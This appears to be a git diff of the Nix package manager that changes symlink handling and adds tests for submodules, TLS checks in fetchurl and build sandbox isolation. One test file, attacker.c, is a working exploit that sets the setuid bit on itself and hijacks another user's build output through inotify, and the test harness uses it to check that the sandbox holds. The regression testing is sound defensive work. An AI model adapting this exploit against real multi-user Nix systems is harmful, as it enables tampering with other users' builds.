|
||||
|
||||
for (auto & storePath : storePaths) {
|
||||
json jsonObject;
|
||||
auto printedStorePath = store.printStorePath(storePath);
|
||||
|
||||
try {
|
||||
auto info = store.queryPathInfo(storePath);
|
||||
|
||||
// `storePath` has the representation `<hash>-x` rather than
|
||||
// `<hash>-<name>` in case of binary-cache stores & `--all` because we don't
|
||||
// know the name yet until we've read the NAR info.
|
||||
printedStorePath = store.printStorePath(info->path);
|
||||
|
||||
jsonObject = info->toJSON(store, true, HashFormat::SRI);
|
||||
|
||||
if (showClosureSize) {
|
||||
@@ -74,7 +80,7 @@ static json pathInfoToJSON(
|
||||
jsonObject = nullptr;
|
||||
}
|
||||
|
||||
jsonAllObjects[store.printStorePath(storePath)] = std::move(jsonObject);
|
||||
jsonAllObjects[printedStorePath] = std::move(jsonObject);
|
||||
}
|
||||
return jsonAllObjects;
|
||||
}
|
||||
|
||||
@@ -124,7 +124,8 @@ struct CmdShell : InstallablesCommand, MixEnvironment
|
||||
if (true)
|
||||
pathAdditions.push_back(store->printStorePath(path) + "/bin");
|
||||
|
||||
auto propPath = CanonPath(store->printStorePath(path)) / "nix-support" / "propagated-user-env-packages";
|
||||
auto propPath = accessor->resolveSymlinks(
|
||||
CanonPath(store->printStorePath(path)) / "nix-support" / "propagated-user-env-packages");
|
||||
if (auto st = accessor->maybeLstat(propPath); st && st->type == SourceAccessor::tRegular) {
|
||||
for (auto & p : tokenizeString<Paths>(accessor->readFile(propPath)))
|
||||
todo.push(store->parseStorePath(p));
|
||||
|
||||
@@ -14,6 +14,14 @@ outPath=$(nix-build dependencies.nix --no-out-link)
|
||||
|
||||
nix copy --to file://$cacheDir $outPath
|
||||
|
||||
readarray -t paths < <(nix path-info --all --json --store file://$cacheDir | jq 'keys|sort|.[]' -r)
|
||||
[[ "${#paths[@]}" -eq 3 ]]
|
||||
for path in "${paths[@]}"; do
|
||||
[[ "$path" =~ -dependencies-input-0$ ]] \
|
||||
|| [[ "$path" =~ -dependencies-input-2$ ]] \
|
||||
|| [[ "$path" =~ -dependencies-top$ ]]
|
||||
done
|
||||
|
||||
# Test copying build logs to the binary cache.
|
||||
expect 1 nix log --store file://$cacheDir $outPath 2>&1 | grep 'is not available'
|
||||
nix store copy-log --to file://$cacheDir $outPath
|
||||
|
||||
@@ -170,3 +170,45 @@ pathWithSubmodules=$(nix eval --impure --raw --expr "(builtins.fetchGit { url =
|
||||
|
||||
[[ -e $pathWithoutExportIgnore/exclude-from-root ]]
|
||||
[[ -e $pathWithoutExportIgnore/sub/exclude-from-sub ]]
|
||||
|
||||
test_submodule_nested() {
|
||||
local repoA=$TEST_ROOT/submodule_nested/a
|
||||
local repoB=$TEST_ROOT/submodule_nested/b
|
||||
local repoC=$TEST_ROOT/submodule_nested/c
|
||||
|
||||
rm -rf $repoA $repoB $repoC $TEST_HOME/.cache/nix
|
||||
|
||||
initGitRepo $repoC
|
||||
touch $repoC/inside-c
|
||||
git -C $repoC add inside-c
|
||||
addGitContent $repoC
|
||||
|
||||
initGitRepo $repoB
|
||||
git -C $repoB submodule add $repoC c
|
||||
git -C $repoB add c
|
||||
addGitContent $repoB
|
||||
|
||||
initGitRepo $repoA
|
||||
git -C $repoA submodule add $repoB b
|
||||
git -C $repoA add b
|
||||
addGitContent $repoA
|
||||
|
||||
|
||||
# Check non-worktree fetch
|
||||
local rev=$(git -C $repoA rev-parse HEAD)
|
||||
out=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repoA\"; rev = \"$rev\"; submodules = true; }).outPath")
|
||||
test -e $out/b/c/inside-c
|
||||
test -e $out/content
|
||||
test -e $out/b/content
|
||||
test -e $out/b/c/content
|
||||
local nonWorktree=$out
|
||||
|
||||
# Check worktree based fetch
|
||||
# TODO: make it work without git submodule update
|
||||
git -C $repoA submodule update --init --recursive
|
||||
out=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repoA\"; submodules = true; }).outPath")
|
||||
find $out
|
||||
[[ $out == $nonWorktree ]] || { find $out; false; }
|
||||
|
||||
}
|
||||
test_submodule_nested
|
||||
|
||||
6
tests/functional/flakes/prefetch.sh
Normal file
6
tests/functional/flakes/prefetch.sh
Normal file
@@ -0,0 +1,6 @@
|
||||
source common.sh
|
||||
|
||||
# Test symlinks in zip files (#10649).
|
||||
path=$(nix flake prefetch --json file://$(pwd)/tree.zip | jq -r .storePath)
|
||||
[[ $(cat $path/foo) = foo ]]
|
||||
[[ $(readlink $path/bar) = foo ]]
|
||||
BIN
tests/functional/flakes/tree.zip
Normal file
BIN
tests/functional/flakes/tree.zip
Normal file
Binary file not shown.
@@ -73,3 +73,6 @@ testCert missing fixed-output "$nocert"
|
||||
|
||||
# Cert in sandbox when ssl-cert-file is set to an existing file
|
||||
testCert present fixed-output "$cert"
|
||||
|
||||
# Symlinks should be added in the sandbox directly and not followed
|
||||
nix-sandbox-build symlink-derivation.nix
|
||||
|
||||
@@ -16,6 +16,7 @@ nix_tests = \
|
||||
flakes/absolute-attr-paths.sh \
|
||||
flakes/build-paths.sh \
|
||||
flakes/flake-in-submodule.sh \
|
||||
flakes/prefetch.sh \
|
||||
gc.sh \
|
||||
nix-collect-garbage-d.sh \
|
||||
remote-store.sh \
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
with import ./config.nix;
|
||||
|
||||
{
|
||||
rec {
|
||||
hello = mkDerivation {
|
||||
name = "hello";
|
||||
outputs = [ "out" "dev" ];
|
||||
@@ -24,6 +24,22 @@ with import ./config.nix;
|
||||
'';
|
||||
};
|
||||
|
||||
hello-symlink = mkDerivation {
|
||||
name = "hello-symlink";
|
||||
buildCommand =
|
||||
''
|
||||
ln -s ${hello} $out
|
||||
'';
|
||||
};
|
||||
|
||||
forbidden-symlink = mkDerivation {
|
||||
name = "forbidden-symlink";
|
||||
buildCommand =
|
||||
''
|
||||
ln -s /tmp/foo/bar $out
|
||||
'';
|
||||
};
|
||||
|
||||
salve-mundi = mkDerivation {
|
||||
name = "salve-mundi";
|
||||
outputs = [ "out" ];
|
||||
|
||||
@@ -10,6 +10,11 @@ nix shell -f shell-hello.nix hello -c hello NixOS | grep 'Hello NixOS'
|
||||
nix shell -f shell-hello.nix hello^dev -c hello2 | grep 'Hello2'
|
||||
nix shell -f shell-hello.nix 'hello^*' -c hello2 | grep 'Hello2'
|
||||
|
||||
# Test output paths that are a symlink.
|
||||
nix shell -f shell-hello.nix hello-symlink -c hello | grep 'Hello World'
|
||||
|
||||
# Test that symlinks outside of the store don't work.
|
||||
expect 1 nix shell -f shell-hello.nix forbidden-symlink -c hello 2>&1 | grepQuiet "is not in the Nix store"
|
||||
|
||||
if isDaemonNewer "2.20.0pre20231220"; then
|
||||
# Test that command line attribute ordering is reflected in the PATH
|
||||
|
||||
36
tests/functional/symlink-derivation.nix
Normal file
36
tests/functional/symlink-derivation.nix
Normal file
@@ -0,0 +1,36 @@
|
||||
with import ./config.nix;
|
||||
|
||||
let
|
||||
foo_in_store = builtins.toFile "foo" "foo";
|
||||
foo_symlink = mkDerivation {
|
||||
name = "foo-symlink";
|
||||
buildCommand = ''
|
||||
ln -s ${foo_in_store} $out
|
||||
'';
|
||||
};
|
||||
symlink_to_not_in_store = mkDerivation {
|
||||
name = "symlink-to-not-in-store";
|
||||
buildCommand = ''
|
||||
ln -s ${builtins.toString ./.} $out
|
||||
'';
|
||||
};
|
||||
in
|
||||
mkDerivation {
|
||||
name = "depends-on-symlink";
|
||||
buildCommand = ''
|
||||
(
|
||||
set -x
|
||||
|
||||
# `foo_symlink` should be a symlink pointing to `foo_in_store`
|
||||
[[ -L ${foo_symlink} ]]
|
||||
[[ $(readlink ${foo_symlink}) == ${foo_in_store} ]]
|
||||
|
||||
# `symlink_to_not_in_store` should be a symlink pointing to `./.`, which
|
||||
# is not available in the sandbox
|
||||
[[ -L ${symlink_to_not_in_store} ]]
|
||||
[[ $(readlink ${symlink_to_not_in_store}) == ${builtins.toString ./.} ]]
|
||||
(! ls ${symlink_to_not_in_store}/)
|
||||
)
|
||||
echo "Success!" > $out
|
||||
'';
|
||||
}
|
||||
@@ -189,3 +189,9 @@ nix-env --set $outPath10
|
||||
[ "$(nix-store -q --resolve $profiles/test)" = $outPath10 ]
|
||||
nix-env --set $drvPath10
|
||||
[ "$(nix-store -q --resolve $profiles/test)" = $outPath10 ]
|
||||
|
||||
# Test the case where $HOME contains a symlink.
|
||||
mkdir -p $TEST_ROOT/real-home/alice/.nix-defexpr/channels
|
||||
ln -sfn $TEST_ROOT/real-home $TEST_ROOT/home
|
||||
ln -sfn $(pwd)/user-envs.nix $TEST_ROOT/home/alice/.nix-defexpr/channels/foo
|
||||
HOME=$TEST_ROOT/home/alice nix-env -i foo-0.1
|
||||
|
||||
@@ -145,6 +145,8 @@ in
|
||||
|
||||
githubFlakes = runNixOSTestFor "x86_64-linux" ./github-flakes.nix;
|
||||
|
||||
gitSubmodules = runNixOSTestFor "x86_64-linux" ./git-submodules.nix;
|
||||
|
||||
sourcehutFlakes = runNixOSTestFor "x86_64-linux" ./sourcehut-flakes.nix;
|
||||
|
||||
tarballFlakes = runNixOSTestFor "x86_64-linux" ./tarball-flakes.nix;
|
||||
@@ -158,4 +160,8 @@ in
|
||||
fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git;
|
||||
|
||||
ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
|
||||
|
||||
user-sandboxing = runNixOSTestFor "x86_64-linux" ./user-sandboxing;
|
||||
|
||||
fetchurl = runNixOSTestFor "x86_64-linux" ./fetchurl.nix;
|
||||
}
|
||||
|
||||
84
tests/nixos/fetchurl.nix
Normal file
84
tests/nixos/fetchurl.nix
Normal file
@@ -0,0 +1,84 @@
|
||||
# Test whether builtin:fetchurl properly performs TLS certificate
|
||||
# checks on HTTPS servers.
|
||||
|
||||
{ pkgs, ... }:
|
||||
|
||||
let
|
||||
|
||||
makeTlsCert = name: pkgs.runCommand name {
|
||||
nativeBuildInputs = with pkgs; [ openssl ];
|
||||
} ''
|
||||
mkdir -p $out
|
||||
openssl req -x509 \
|
||||
-subj '/CN=${name}/' -days 49710 \
|
||||
-addext 'subjectAltName = DNS:${name}' \
|
||||
-keyout "$out/key.pem" -newkey ed25519 \
|
||||
-out "$out/cert.pem" -noenc
|
||||
'';
|
||||
|
||||
goodCert = makeTlsCert "good";
|
||||
badCert = makeTlsCert "bad";
|
||||
|
||||
in
|
||||
|
||||
{
|
||||
name = "nss-preload";
|
||||
|
||||
nodes = {
|
||||
machine = { pkgs, ... }: {
|
||||
services.nginx = {
|
||||
enable = true;
|
||||
|
||||
virtualHosts."good" = {
|
||||
addSSL = true;
|
||||
sslCertificate = "${goodCert}/cert.pem";
|
||||
sslCertificateKey = "${goodCert}/key.pem";
|
||||
root = pkgs.runCommand "nginx-root" {} ''
|
||||
mkdir "$out"
|
||||
echo 'hello world' > "$out/index.html"
|
||||
'';
|
||||
};
|
||||
|
||||
virtualHosts."bad" = {
|
||||
addSSL = true;
|
||||
sslCertificate = "${badCert}/cert.pem";
|
||||
sslCertificateKey = "${badCert}/key.pem";
|
||||
root = pkgs.runCommand "nginx-root" {} ''
|
||||
mkdir "$out"
|
||||
echo 'foobar' > "$out/index.html"
|
||||
'';
|
||||
};
|
||||
};
|
||||
|
||||
security.pki.certificateFiles = [ "${goodCert}/cert.pem" ];
|
||||
|
||||
networking.hosts."127.0.0.1" = [ "good" "bad" ];
|
||||
|
||||
virtualisation.writableStore = true;
|
||||
|
||||
nix.settings.experimental-features = "nix-command";
|
||||
};
|
||||
};
|
||||
|
||||
testScript = ''
|
||||
machine.wait_for_unit("nginx")
|
||||
machine.wait_for_open_port(443)
|
||||
|
||||
out = machine.succeed("curl https://good/index.html")
|
||||
assert out == "hello world\n"
|
||||
|
||||
out = machine.succeed("cat ${badCert}/cert.pem > /tmp/cafile.pem; curl --cacert /tmp/cafile.pem https://bad/index.html")
|
||||
assert out == "foobar\n"
|
||||
|
||||
# Fetching from a server with a trusted cert should work.
|
||||
machine.succeed("nix build --no-substitute --expr 'import <nix/fetchurl.nix> { url = \"https://good/index.html\"; hash = \"sha256-qUiQTy8PR5uPgZdpSzAYSw0u0cHNKh7A+4XSmaGSpEc=\"; }'")
|
||||
|
||||
# Fetching from a server with an untrusted cert should fail.
|
||||
err = machine.fail("nix build --no-substitute --expr 'import <nix/fetchurl.nix> { url = \"https://bad/index.html\"; hash = \"sha256-rsBwZF/lPuOzdjBZN2E08FjMM3JHyXit0Xi2zN+wAZ8=\"; }' 2>&1")
|
||||
print(err)
|
||||
assert "SSL certificate problem: self-signed certificate" in err
|
||||
|
||||
# Fetching from a server with a trusted cert should work via environment variable override.
|
||||
machine.succeed("NIX_SSL_CERT_FILE=/tmp/cafile.pem nix build --no-substitute --expr 'import <nix/fetchurl.nix> { url = \"https://bad/index.html\"; hash = \"sha256-rsBwZF/lPuOzdjBZN2E08FjMM3JHyXit0Xi2zN+wAZ8=\"; }'")
|
||||
'';
|
||||
}
|
||||
54
tests/nixos/git-submodules.nix
Normal file
54
tests/nixos/git-submodules.nix
Normal file
@@ -0,0 +1,54 @@
|
||||
# Test Nix's remote build feature.
|
||||
|
||||
{ lib, hostPkgs, ... }:
|
||||
|
||||
{
|
||||
config = {
|
||||
name = lib.mkDefault "git-submodules";
|
||||
|
||||
nodes =
|
||||
{
|
||||
remote =
|
||||
{ config, pkgs, ... }:
|
||||
{
|
||||
services.openssh.enable = true;
|
||||
environment.systemPackages = [ pkgs.git ];
|
||||
};
|
||||
|
||||
client =
|
||||
{ config, lib, pkgs, ... }:
|
||||
{
|
||||
programs.ssh.extraConfig = "ConnectTimeout 30";
|
||||
environment.systemPackages = [ pkgs.git ];
|
||||
nix.extraOptions = "experimental-features = nix-command flakes";
|
||||
};
|
||||
};
|
||||
|
||||
testScript = { nodes }: ''
|
||||
# fmt: off
|
||||
import subprocess
|
||||
|
||||
start_all()
|
||||
|
||||
# Create an SSH key on the client.
|
||||
subprocess.run([
|
||||
"${hostPkgs.openssh}/bin/ssh-keygen", "-t", "ed25519", "-f", "key", "-N", ""
|
||||
], capture_output=True, check=True)
|
||||
client.succeed("mkdir -p -m 700 /root/.ssh")
|
||||
client.copy_from_host("key", "/root/.ssh/id_ed25519")
|
||||
client.succeed("chmod 600 /root/.ssh/id_ed25519")
|
||||
|
||||
# Install the SSH key on the builders.
|
||||
client.wait_for_unit("network.target")
|
||||
|
||||
remote.succeed("mkdir -p -m 700 /root/.ssh")
|
||||
remote.copy_from_host("key.pub", "/root/.ssh/authorized_keys")
|
||||
remote.wait_for_unit("sshd")
|
||||
client.succeed(f"ssh -o StrictHostKeyChecking=no {remote.name} 'echo hello world'")
|
||||
|
||||
remote.succeed("git init bar && git -C bar config user.email foobar@example.com && git -C bar config user.name Foobar && echo test >> bar/content && git -C bar add content && git -C bar commit -m 'Initial commit'")
|
||||
client.succeed(f"git init foo && git -C foo config user.email foobar@example.com && git -C foo config user.name Foobar && git -C foo submodule add root@{remote.name}:/tmp/bar sub && git -C foo add sub && git -C foo commit -m 'Add submodule'")
|
||||
client.succeed("nix --flake-registry \"\" flake prefetch 'git+file:///tmp/foo?submodules=1&ref=master'")
|
||||
'';
|
||||
};
|
||||
}
|
||||
@@ -187,9 +187,14 @@ in
|
||||
client.succeed("nix flake metadata nixpkgs --tarball-ttl 0 >&2")
|
||||
|
||||
# Test fetchTree on a github URL.
|
||||
hash = client.succeed(f"nix eval --raw --expr '(fetchTree {info['url']}).narHash'")
|
||||
hash = client.succeed(f"nix eval --no-trust-tarballs-from-git-forges --raw --expr '(fetchTree {info['url']}).narHash'")
|
||||
assert hash == info['locked']['narHash']
|
||||
|
||||
# Fetching without a narHash should succeed if trust-github is set and fail otherwise.
|
||||
client.succeed(f"nix eval --raw --expr 'builtins.fetchTree github:github:fancy-enterprise/private-flake/{info['revision']}'")
|
||||
out = client.fail(f"nix eval --no-trust-tarballs-from-git-forges --raw --expr 'builtins.fetchTree github:github:fancy-enterprise/private-flake/{info['revision']}' 2>&1")
|
||||
assert "will not fetch unlocked input" in out, "--no-trust-tarballs-from-git-forges did not fail with the expected error"
|
||||
|
||||
# Shut down the web server. The flake should be cached on the client.
|
||||
github.succeed("systemctl stop httpd.service")
|
||||
|
||||
|
||||
82
tests/nixos/user-sandboxing/attacker.c
Normal file
82
tests/nixos/user-sandboxing/attacker.c
Normal file
@@ -0,0 +1,82 @@
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/inotify.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#define SYS_fchmodat2 452
|
||||
|
||||
int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) {
|
||||
return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
if (argc <= 1) {
|
||||
// stage 1: place the setuid-builder executable
|
||||
|
||||
// make the build directory world-accessible first
|
||||
chmod(".", 0755);
|
||||
|
||||
if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
|
||||
perror("Setting the suid bit on attacker");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
} else {
|
||||
// stage 2: corrupt the victim derivation while it's building
|
||||
|
||||
// prevent the kill
|
||||
if (setresuid(-1, -1, getuid())) {
|
||||
perror("setresuid");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
if (fork() == 0) {
|
||||
|
||||
// wait for the victim to build
|
||||
int fd = inotify_init();
|
||||
inotify_add_watch(fd, argv[1], IN_CREATE);
|
||||
int dirfd = open(argv[1], O_DIRECTORY);
|
||||
if (dirfd < 0) {
|
||||
perror("opening the global build directory");
|
||||
exit(-1);
|
||||
}
|
||||
char buf[4096];
|
||||
fprintf(stderr, "Entering the inotify loop\n");
|
||||
for (;;) {
|
||||
ssize_t len = read(fd, buf, sizeof(buf));
|
||||
struct inotify_event *ev;
|
||||
for (char *pe = buf; pe < buf + len;
|
||||
pe += sizeof(struct inotify_event) + ev->len) {
|
||||
ev = (struct inotify_event *)pe;
|
||||
fprintf(stderr, "folder %s created\n", ev->name);
|
||||
// wait a bit to prevent racing against the creation
|
||||
sleep(1);
|
||||
int builddir = openat(dirfd, ev->name, O_DIRECTORY);
|
||||
if (builddir < 0) {
|
||||
perror("opening the build directory");
|
||||
continue;
|
||||
}
|
||||
int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
|
||||
if (resultfile < 0) {
|
||||
perror("opening the hijacked file");
|
||||
continue;
|
||||
}
|
||||
int writeres = write(resultfile, "bad\n", 4);
|
||||
if (writeres < 0) {
|
||||
perror("writing to the hijacked file");
|
||||
continue;
|
||||
}
|
||||
fprintf(stderr, "Hijacked the build for %s\n", ev->name);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
129
tests/nixos/user-sandboxing/default.nix
Normal file
129
tests/nixos/user-sandboxing/default.nix
Normal file
@@ -0,0 +1,129 @@
|
||||
{ config, ... }:
|
||||
|
||||
let
|
||||
pkgs = config.nodes.machine.nixpkgs.pkgs;
|
||||
|
||||
attacker = pkgs.runCommandWith {
|
||||
name = "attacker";
|
||||
stdenv = pkgs.pkgsStatic.stdenv;
|
||||
} ''
|
||||
$CC -static -o $out ${./attacker.c}
|
||||
'';
|
||||
|
||||
try-open-build-dir = pkgs.writeScript "try-open-build-dir" ''
|
||||
export PATH=${pkgs.coreutils}/bin:$PATH
|
||||
|
||||
set -x
|
||||
|
||||
chmod 700 .
|
||||
# Shouldn't be able to open the root build directory
|
||||
(! chmod 700 ..)
|
||||
|
||||
touch foo
|
||||
|
||||
# Synchronisation point: create a world-writable fifo and wait for someone
|
||||
# to write into it
|
||||
mkfifo syncPoint
|
||||
chmod 777 syncPoint
|
||||
cat syncPoint
|
||||
|
||||
touch $out
|
||||
|
||||
set +x
|
||||
'';
|
||||
|
||||
create-hello-world = pkgs.writeScript "create-hello-world" ''
|
||||
export PATH=${pkgs.coreutils}/bin:$PATH
|
||||
|
||||
set -x
|
||||
|
||||
echo "hello, world" > result
|
||||
|
||||
# Synchronisation point: create a world-writable fifo and wait for someone
|
||||
# to write into it
|
||||
mkfifo syncPoint
|
||||
chmod 777 syncPoint
|
||||
cat syncPoint
|
||||
|
||||
cp result $out
|
||||
|
||||
set +x
|
||||
'';
|
||||
|
||||
in
|
||||
{
|
||||
name = "sandbox-setuid-leak";
|
||||
|
||||
nodes.machine =
|
||||
{ config, lib, pkgs, ... }:
|
||||
{ virtualisation.writableStore = true;
|
||||
nix.settings.substituters = lib.mkForce [ ];
|
||||
nix.nrBuildUsers = 1;
|
||||
virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ];
|
||||
boot.kernelPackages = pkgs.linuxPackages_latest;
|
||||
users.users.alice = {
|
||||
isNormalUser = true;
|
||||
};
|
||||
};
|
||||
|
||||
testScript = { nodes }: ''
|
||||
start_all()
|
||||
|
||||
with subtest("A builder can't give access to its build directory"):
|
||||
# Make sure that a builder can't change the permissions on its build
|
||||
# directory to the point of opening it up to external users
|
||||
|
||||
# A derivation whose builder tries to make its build directory as open
|
||||
# as possible and wait for someone to hijack it
|
||||
machine.succeed(r"""
|
||||
nix-build -v -E '
|
||||
builtins.derivation {
|
||||
name = "open-build-dir";
|
||||
system = builtins.currentSystem;
|
||||
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
|
||||
args = [ (builtins.storePath "${try-open-build-dir}") ];
|
||||
}' >&2 &
|
||||
""".strip())
|
||||
|
||||
# Wait for the build to be ready
|
||||
# This is OK because it runs as root, so we can access everything
|
||||
machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
|
||||
|
||||
# But Alice shouldn't be able to access the build directory
|
||||
machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0/build'")
|
||||
machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/build/bar'")
|
||||
machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/build/foo'")
|
||||
|
||||
# Tell the user to finish the build
|
||||
machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
|
||||
|
||||
with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"):
|
||||
machine.succeed(r"""
|
||||
nix-build -E '
|
||||
builtins.derivation {
|
||||
name = "innocent";
|
||||
system = builtins.currentSystem;
|
||||
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
|
||||
args = [ (builtins.storePath "${create-hello-world}") ];
|
||||
}' >&2 &
|
||||
""".strip())
|
||||
machine.wait_for_file("/tmp/nix-build-innocent.drv-0/build/syncPoint")
|
||||
|
||||
# The build ran as `nixbld1` (which is the only build user on the
|
||||
# machine), but a process running as `nixbld1` outside the sandbox
|
||||
# shouldn't be able to touch the build directory regardless
|
||||
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0/build'")
|
||||
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/build/result'")
|
||||
|
||||
# Finish the build
|
||||
machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/build/syncPoint")
|
||||
|
||||
# Check that the build was not affected
|
||||
machine.succeed(r"""
|
||||
cat ./result
|
||||
test "$(cat ./result)" = "hello, world"
|
||||
""".strip())
|
||||
'';
|
||||
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user